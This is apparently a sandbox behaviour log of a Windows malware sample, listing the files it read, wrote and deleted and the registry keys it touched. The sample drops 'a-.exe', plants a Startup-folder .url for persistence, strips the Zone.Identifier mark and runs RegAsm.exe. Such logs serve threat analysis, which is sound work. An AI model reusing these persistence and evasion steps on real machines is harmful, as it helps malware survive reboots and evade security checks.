C:\Users\Seven01\AppData\Local\Temp\cyht5al0.pdb
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.0.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Users\Seven01\AppData\Local\Temp\CSC3A809A2B44484182861B854CE8C593E.TMP
C:\Users\Seven01\AppData\Local\Temp\RESECFF.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.Config
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
\Device\Http\Communication
C:\Windows\System32\DHCPQEC.DLL
C:\Windows\System32\napipsec.dll
C:\Windows\System32\it-IT\napipsec.dll.mui
C:\Windows\System32\tsgqec.dll
C:\Windows\System32\EAPQEC.DLL
C:\Windows\System32\it-IT\eapqec.dll.mui
C:\Windows\SysWOW64\it-IT\P2PNETSH.DLL.mui

Write Files

C:\Users\Seven01\AppData\Local\Temp\cyht5al0.tmp
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.0.cs
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.dll
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.cmdline
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.out
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.err
C:\Users\Seven01\a-.exe
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XVKHbz.url
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.pdb
C:\Users\Seven01\AppData\Local\Temp\CSC3A809A2B44484182861B854CE8C593E.TMP
C:\Users\Seven01\AppData\Local\Temp\RESECFF.tmp
\Device\Http\Communication

Delete Files

C:\Users\Seven01\AppData\Local\Temp\cyht5al0.out
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.tmp
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.0.cs
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.dll
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.pdb
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.err
C:\Users\Seven01\AppData\Local\Temp\cyht5al0.cmdline
C:\Users\Seven01\a-.exe:Zone.Identifier
C:\Users\Seven01\AppData\Local\Temp\RESECFF.tmp
C:\Users\Seven01\AppData\Local\Temp\CSC3A809A2B44484182861B854CE8C593E.TMP

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a-.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegAsm.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6a\68a8ac6a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
